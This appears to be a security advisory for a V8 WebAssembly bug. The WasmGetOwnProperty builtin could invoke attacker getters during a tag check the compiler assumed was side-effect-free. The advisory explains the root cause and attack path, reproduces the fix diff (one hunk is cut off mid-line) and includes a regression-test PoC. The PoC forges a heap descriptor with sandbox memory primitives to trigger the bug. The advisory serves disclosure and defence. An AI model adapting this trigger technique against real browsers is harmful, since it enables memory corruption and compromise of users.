CVE-2026-87491
Overview
Background
- `WasmGetOwnProperty`
- A V8 builtin the Wasm runtime uses to read a private-symbol property (such as the exception tag) off a caught object without walking into full generic property machinery.
- Private symbol
- An internal, non-enumerable
Symbol(e.g.wasm_exception_tag_symbol) that V8 uses to stamp and later recognize runtime objects like Wasm exceptions. - `GetPropertyWithReceiver`
- A generic, transitioning property-load builtin that traverses the prototype chain and can invoke user-defined accessors (
getters), i.e. run arbitrary JavaScript. - `OpEffects` / `kNeedsContext`
- Compiler metadata (in
builtin-call-descriptors.h) that tells Turboshaft whether a builtin call can allocate, throw, or has side effects, and whether it must be passed aContext.
Root Cause Analysis
The old WasmGetOwnProperty in wasm.tq was implemented as a transitioning Torque builtin that, on finding the property, delegated to GetPropertyWithReceiver, which walks the prototype chain and may invoke JavaScript getters. The Wasm catch lowering in both liftoff-compiler.cc and turboshaft-graph-interface.cc calls this builtin to fetch a caught exception’s tag symbol, and the optimizing compiler treats that call as effectively side-effect-free (it is only supposed to peek at a private symbol). The violated invariant is that this “get own property” operation must run no user code: an attacker-controlled object reaching the lookup could trigger a getter, running arbitrary JS during what the compiler modeled as an allocation-free, side-effect-free tag check, breaking the effect assumptions Turboshaft relies on and enabling out-of-bounds memory corruption.
The fix reimplements WasmGetOwnProperty as a CodeStubAssembler builtin (builtins-wasm-gen.cc) that performs a real own-property lookup via TryLookupPropertyInSimpleObject, explicitly rejects non-kData properties and lazy closures, and returns undefined instead of ever invoking an accessor. Because it no longer runs JS or needs a Context, the descriptor’s kNeedsContext is set to false and both call sites drop the native-context argument, restoring the guarantee that the builtin is genuinely side-effect-free.
GetPropertyWithReceiver, which can invoke JavaScript getters; the fix replaces it with a pure own-data-property lookup that returns undefined for accessors, so the “no side effects” contract actually holds.Attack Path
- Reach the tag check
Attacker Wasm code throws and catches an exception so the runtime invokes
WasmGetOwnPropertyto read the exception tag symbol. - Substitute an accessor
The object presented to the lookup carries the queried symbol as an accessor (or an object whose property path hits a
getter) rather than a plain data property. - Run JS mid-builtin
The old
GetPropertyWithReceiverpath invokes thatgetter, executing attacker JavaScript during a call the optimizer modeled as pure and non-allocating. - Break compiler assumptions The unexpected side effects (allocation, heap mutation, re-entrancy) violate Turboshaft’s effect model, invalidating optimizations around the call.
- Out-of-bounds write The mismatched assumptions lead to memory being written outside its intended bounds in the Wasm/V8 pipeline.
Impact Assessment
Changed Functions
| Function | Change | Notes |
|---|---|---|
TF_BUILTINsrc/builtins/builtins-wasm-gen.cc |
modified |
Files Changed
src/builtins/builtins-definitions.hsrc/builtins/builtins-wasm-gen.ccsrc/builtins/wasm.tqsrc/compiler/turboshaft/builtin-call-descriptors.hsrc/wasm/baseline/liftoff-compiler.ccsrc/wasm/turboshaft-graph-interface.cc
Audit Directions
- Side-effect-free builtins that reuse generic property loadsAudit any builtin the compiler models as pure or non-allocating (
kNoThrow, noCanAllocate) that internally callsGetPropertyWithReceiver,GetProperty, or other prototype-walking loads capable of invokinggetters. - Own-property intent vs. prototype-chain realityFlag code that means “check an own private symbol” but is implemented with helpers that traverse the prototype chain or run accessors; require explicit
kData/own-property checks likeTryLookupPropertyInSimpleObject. - Effect-metadata driftReview
builtin-call-descriptors.hentries wherekEffectsorkNeedsContextunderstate a builtin’s real behavior, and verify each Liftoff/Turboshaft call site’s argument list matches the builtin’s actual effect and context requirements.
Patch
From 36079c36283aaf3d0cee0797e46ddc278988f7f2 Mon Sep 17 00:00:00 2001 From: Jakob Kummerow <[email protected]> Date: Tue, 11 Aug 2026 20:27:41 +0200 Subject: [PATCH] [wasm][sandbox] Fix side effects of WasmGetOwnProperty builtin We want this builtin to have no side effects, so it should not invoke any getters. Fixed: 543557673 Change-Id: Ifa3c166e54f2084524c562ba2f57d55e0a51bff6 Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/8234942 Auto-Submit: Jakob Kummerow <[email protected]> Commit-Queue: Jakob Kummerow <[email protected]> Reviewed-by: Thibaud Michaud <[email protected]> Cr-Commit-Position: refs/heads/main@{#109190} --- diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h index 4197662..cd7a18b 100644 --- a/src/builtins/builtins-definitions.h +++ b/src/builtins/builtins-definitions.h @@ -1497,6 +1497,7 @@ IF_WASM(TFC, WasmFloat64ToNumber, WasmFloat64ToTagged) \ IF_WASM(TFC, WasmFloat64ToString, WasmFloat64ToTagged) \ IF_WASM(TFC, JSToWasmLazyDeoptContinuation, SingleParameterOnStack) \ + IF_WASM(TFS, WasmGetOwnProperty, NeedsContext{false}, kObject, kSymbol) \ \ /* WeakMap */ \ TFJ(WeakMapConstructor, kDontAdaptArgumentsSentinel) \ diff --git a/src/builtins/builtins-wasm-gen.cc b/src/builtins/builtins-wasm-gen.cc index 92ffd89..3ba93d9 100644 --- a/src/builtins/builtins-wasm-gen.cc +++ b/src/builtins/builtins-wasm-gen.cc @@ -266,6 +266,71 @@ return IsPageFlagSet(address, MemoryChunk::kInSharedHeap); } +// Wasm uses private symbols (e.g. wasm_exception_tag_symbol) to stamp certain +// objects. This builtin checks for presence of such symbols; it is a +// specialization of "GetOwnProperty" behavior: if the object is not a plain +// JS object or the property is not an own data property, return undefined. +// To allow compilers to assume no side effects from this builtin, it's +// particularly important to not invoke any getters. +TF_BUILTIN(WasmGetOwnProperty, WasmBuiltinsAssembler) { + TNode<Object> object = Parameter<Object>(Descriptor::kObject); + TNode<Symbol> symbol = Parameter<Symbol>(Descriptor::kSymbol); + + Label return_undefined(this, Label::kDeferred); + + GotoIf(TaggedIsSmi(object), &return_undefined); + TNode<HeapObject> heap_object = CAST(object); + + TNode<Map> map = LoadMap(heap_object); + TNode<Int32T> instance_type = LoadMapInstanceType(map); + + GotoIfNot(IsJSReceiverInstanceType(instance_type), &return_undefined); + GotoIf(IsSpecialReceiverInstanceType(instance_type), &return_undefined); + + TNode<JSObject> js_object = CAST(heap_object); + + { + TVARIABLE(HeapObject, var_meta_storage); + TVARIABLE(IntPtrT, var_entry); + TVARIABLE(Object, var_value); + TVARIABLE(Uint32T, var_details); + Label if_found_fast(this), if_found_dict(this), got_value(this); + + TryLookupPropertyInSimpleObject( + js_object, map, symbol, &if_found_fast, &if_found_dict, + &var_meta_storage, &var_entry, &return_undefined, &return_undefined); + + BIND(&if_found_fast); + { + TNode<DescriptorArray> descriptors = CAST(var_meta_storage.value()); + LoadPropertyFromFastObject(js_object, map, descriptors, var_entry.value(), + &var_details, &var_value); + Goto(&got_value); + } + + BIND(&if_found_dict); + { + TNode<PropertyDictionary> dictionary = CAST(var_meta_storage.value()); + LoadPropertyFromDictionary(dictionary, var_entry.value(), &var_details, + &var_value); + Goto(&got_value); + } + + BIND(&got_value); + { + TNode<Uint32T> kind = + DecodeWord32<PropertyDetails::KindField>(var_details.value()); + constexpr int kData = static_cast<int>(PropertyKind::kData); + GotoIfNot(Word32Equal(kind, Int32Constant(kData)), &return_undefined); + GotoIfLazyClosure(CAST(var_value.value()), &return_undefined); + Return(var_value.value()); + } + } + + BIND(&return_undefined); + Return(UndefinedConstant()); +} + #include "src/codegen/undef-code-stub-assembler-macros.inc" } // namespace v8::internal diff --git a/src/builtins/wasm.tq b/src/builtins/wasm.tq index 8c07ddd..09581b6 100644 --- a/src/builtins/wasm.tq +++ b/src/builtins/wasm.tq @@ -832,35 +832,6 @@ return TargetAndImplicitArg{target: target, implicit_arg: implicitArg}; } -extern macro TryHasOwnProperty(HeapObject, Map, InstanceType, Name): never - labels Found, NotFound, Bailout; -type OnNonExistent constexpr 'OnNonExistent'; -const kReturnUndefined: constexpr OnNonExistent - generates 'OnNonExistent::kReturnUndefined'; -extern macro SmiConstant(constexpr OnNonExistent): Smi; -extern transitioning builtin GetPropertyWithReceiver( - implicit context: Context)(JSAny, Name, JSAny, Smi): JSAny; - -transitioning builtin WasmGetOwnProperty( - implicit context: Context)(object: Object, uniqueName: Name): JSAny { - try { - const heapObject: HeapObject = - TaggedToHeapObject(object) otherwise NotFound; - const receiver: JSReceiver = - Cast<JSReceiver>(heapObject) otherwise NotFound; - try { - TryHasOwnProperty( - receiver, receiver.map, receiver.instanceType, uniqueName) - otherwise Found, NotFound, NotFound; - } label Found { - return GetPropertyWithReceiver( - receiver, uniqueName, receiver, SmiConstant(kReturnUndefined)); - } - } label NotFound deferred { - return Undefined; - } -} - // Trap builtins. builtin WasmTrap(error: Smi): JSAny { diff --git a/src/compiler/turboshaft/builtin-call-descriptors.h b/src/compiler/turboshaft/builtin-call-descriptors.h index e07a6f0e..c73e1d6 100644 --- a/src/compiler/turboshaft/builtin-call-descriptors.h +++ b/src/compiler/turboshaft/builtin-call-descriptors.h @@ -1123,14 +1123,10 @@ using results_t = std::tuple<V<Object>>; static constexpr bool kNeedsFrameState = false; - static constexpr bool kNeedsContext = true; + static constexpr bool kNeedsContext = false; static constexpr Operator::Properties kProperties = Operator::kNoThrow; - // Calls {GetPropertyWithReceiver}, which has paths that can allocate, - // but from this caller we won't reach them. Nevertheless, to please the - // verifier we currently have no other choice than setting the CanAllocate - // effect here. - // TODO(dmercadier): Support overriding the automatic can-allocate - // inference. + // Can allocate a HeapNumber when it encounters a MutableHeapNumber. This + // won't happen in practice, but can-allocate verification detects it. static constexpr OpEffects kEffects = base_effects.CanReadHeapMemory().CanAllocate(); }; diff --git a/src/wasm/baseline/liftoff-compiler.cc b/src/wasm/baseline/liftoff-compiler.cc index db1d96e..adfe3bf 100644 --- a/src/wasm/baseline/liftoff-compiler.cc +++ b/src/wasm/baseline/liftoff-compiler.cc @@ -1868,16 +1868,12 @@ LiftoffRegister tag_symbol_reg = pinned.set(__ GetUnusedRegister(kGpReg, pinned)); LoadExceptionSymbol(tag_symbol_reg.gp(), pinned, root_index); - LiftoffRegister context_reg = - pinned.set(__ GetUnusedRegister(kGpReg, pinned)); - LOAD_TAGGED_PTR_INSTANCE_FIELD(context_reg.gp(), NativeContext, pinned); VarState tag_symbol{kRef, tag_symbol_reg, 0}; - VarState context{kRef, context_reg, 0}; CallBuiltin(Builtin::kWasmGetOwnProperty, - MakeSig::Returns(kRef).Params(kRef, kRef, kRef), - {exception, tag_symbol, context}, kNoSourcePosition); + MakeSig::Returns(kRef).Params(kRef, kRef), + {exception, tag_symbol}, kNoSourcePosition); return LiftoffRegister(kReturnRegister0); } diff --git a/src/wasm/turboshaft-graph-interface.cc b/src/wasm/turboshaft-graph-interface.cc index 84d581c..5dc6fe2 100644 --- a/src/wasm/turboshaft-graph-interface.cc +++ b/src/wasm/turboshaft-graph-interface.cc @@ -3851,12 +3851,10 @@ BindBlockAndGeneratePhis(decoder, block->false_or_loop_or_catch_block, nullptr, &block->exception); - V<NativeContext> native_context = instance_cache_.native_context(); V<WasmExceptionTag> caught_tag = V<WasmExceptionTag>::Cast(
Regression Test / PoC
diff --git a/test/mjsunit/sandbox/regress/regress-543557673.js b/test/mjsunit/sandbox/regress/regress-543557673.js
new file mode 100644
index 0000000..ddf0591
--- /dev/null
+++ b/test/mjsunit/sandbox/regress/regress-543557673.js
@@ -0,0 +1,125 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --sandbox-testing --allow-natives-syntax
+
+const moduleABytes = new Uint8Array([
+ 0, 97, 115, 109, 1, 0, 0, 0, 1, 22, 5, 96, 0, 1, 127,
+ 96, 1, 111, 0, 96, 0, 1, 111, 96, 1, 127, 1, 127, 96, 0,
+ 1, 127, 2, 27, 2, 1, 109, 9, 102, 117, 110, 99, 116, 105, 111,
+ 110, 115, 1, 112, 1, 1, 1, 1, 109, 3, 116, 97, 103, 4, 0,
+ 1, 3, 3, 2, 3, 4, 4, 5, 1, 105, 1, 1, 1, 6, 32,
+ 6, 127, 1, 65, 239, 0, 11, 127, 1, 65, 0, 11, 127, 1, 65,
+ 0, 11, 127, 1, 65, 0, 11, 127, 1, 65, 0, 11, 127, 1, 65,
+ 0, 11, 7, 30, 3, 10, 101, 120, 99, 101, 112, 116, 105, 111, 110,
+ 115, 1, 1, 6, 100, 114, 105, 118, 101, 114, 0, 0, 4, 115, 101,
+ 101, 100, 0, 1, 10, 48, 2, 41, 0, 65, 0, 17, 0, 0, 26,
+ 32, 0, 4, 64, 2, 2, 31, 2, 1, 0, 0, 0, 65, 0, 37,
+ 1, 10, 11, 11, 26, 65, 0, 36, 5, 65, 0, 17, 0, 0, 15,
+ 11, 65, 0, 11, 4, 0, 65, 7, 11, 0, 22, 4, 110, 97, 109,
+ 101, 1, 15, 2, 0, 6, 100, 114, 105, 118, 101, 114, 1, 4, 115,
+ 101, 101, 100,
+]);
+const moduleDBytes = new Uint8Array([
+ 0, 97, 115, 109, 1, 0, 0, 0, 1, 13, 3, 96, 0, 1, 127,
+ 96, 0, 1, 127, 96, 0, 1, 127, 3, 4, 3, 0, 1, 2, 7,
+ 10, 1, 6, 116, 97, 114, 103, 101, 116, 0, 2, 10, 17, 3, 4,
+ 0, 65, 0, 11, 4, 0, 65, 1, 11, 5, 0, 65, 222, 1, 11,
+ 0, 28, 4, 110, 97, 109, 101, 1, 21, 3, 0, 4, 112, 97, 100,
+ 48, 1, 4, 112, 97, 100, 49, 2, 6, 116, 97, 114, 103, 101, 116
+]);
+
+const kHeapObjectTag = 1;
+const memory = new DataView(new Sandbox.MemoryView(0, 0x100000000));
+const read32 = address => memory.getUint32(address, true);
+const write32 = (address, val) => memory.setUint32(address, val >>> 0, true);
+const tagged = object => (Sandbox.getAddressOf(object) + kHeapObjectTag) >>> 0;
+
+function instanceTypeAt(address) {
+ try {
+ return Sandbox.getInstanceTypeOfObjectAt(address);
+ } catch (_) {
+ return undefined;
+ }
+}
+
+function descriptorArrayOf(object) {
+ const map = read32(Sandbox.getAddressOf(object)) & ~kHeapObjectTag;
+ const size = Sandbox.getSizeOfObjectAt(map);
+ for (let offset = 0; offset < size; offset += 4) {
+ const candidate = read32(map + offset) & ~kHeapObjectTag;
+ if (instanceTypeAt(candidate) === 'DESCRIPTOR_ARRAY_TYPE') return candidate;
+ }
+ throw new Error('descriptor array not found');
+}
+
+function findTaggedWord(objectAddress, expectedType, expectedValue) {
+ const size = Sandbox.getSizeOfObjectAt(objectAddress);
+ for (let offset = 0; offset < size; offset += 4) {
+ const value = read32(objectAddress + offset);
+ if (expectedValue !== undefined && value !== expectedValue) continue;
+ if (instanceTypeAt(value & ~kHeapObjectTag) === expectedType) {
+ return {offset, value};
+ }
+ }
+ throw new Error(`tagged ${expectedType} word not found`);
+}
+
+const table =
+ new WebAssembly.Table({element: 'anyfunc', initial: 1, maximum: 1});
+const d = new WebAssembly.Instance(new WebAssembly.Module(moduleDBytes));
+const a = new WebAssembly.Instance(new WebAssembly.Module(moduleABytes), {
+ m: {functions: table, tag: WebAssembly.JSTag},
+});
+if (d.exports.target() !== 222) throw new Error('D target sanity failed');
+
+// Recover the private exception-tag symbol from a genuine exception.
+const genuine =
+ new WebAssembly.Exception(new WebAssembly.Tag({parameters: []}), []);
+const genuineDescriptors = descriptorArrayOf(genuine);
+const hiddenTagSymbol = findTaggedWord(genuineDescriptors, 'SYMBOL_TYPE').value;
+
+let getterCount = 0;
+const forged = Object.defineProperty({}, 'x', {
+ get() {
+ ++getterCount;
+ table.set(0, d.exports.target);
+ return undefined;
+ },
+ configurable: true,
+});
+
+// Replace only the one-property donor descriptor's key. Its accessor details
+// and AccessorPair remain unchanged.
+const forgedDescriptors = descriptorArrayOf(forged);
+const xName = Object.getOwnPropertyNames(forged)[0];
+const descriptorKey = findTaggedWord(
+ forgedDescriptors,
+ Sandbox.getInstanceTypeOfObjectAt(Sandbox.getAddressOf(xName)),
+ tagged(xName));
+write32(forgedDescriptors + descriptorKey.offset, hiddenTagSymbol);
+
+// Put the ordinary JSReceiver into the backing FixedArray of the exported
+// Wasm-declared exnref table.
+const tableType = Sandbox.getInstanceTypeIdFor('WASM_TABLE_OBJECT_TYPE');
+const entriesOffset = Sandbox.getFieldOffset(tableType, 'entries');
+const fixedArrayType = Sandbox.getInstanceTypeIdFor('FIXED_ARRAY_TYPE');
+const fixedArrayDataOffset = Sandbox.getFieldOffset(fixedArrayType, 'data');
+const exnTableAddress = Sandbox.getAddressOf(a.exports.exceptions);
+const entries = read32(exnTableAddress + entriesOffset) & ~kHeapObjectTag;
+write32(entries + fixedArrayDataOffset, tagged(forged));
+
+// Only the first call_indirect site receives feedback and is inlined. The
+// second site remains uninitialized and therefore generic.
+table.set(0, a.exports.seed);
+for (let i = 0; i < 20; ++i) {
+ if (a.exports.driver(0) !== 0) throw new Error('training failed');
+}
+%WasmTierUpFunction(a.exports.driver);
+if (a.exports.driver(0) !== 0) throw new Error('optimized training failed');
+
+const result = a.exports.driver(1);
+const tableChanged = table.get(0) === d.exports.target;
+assertEquals(getterCount, 0);
+assertFalse(tableChanged);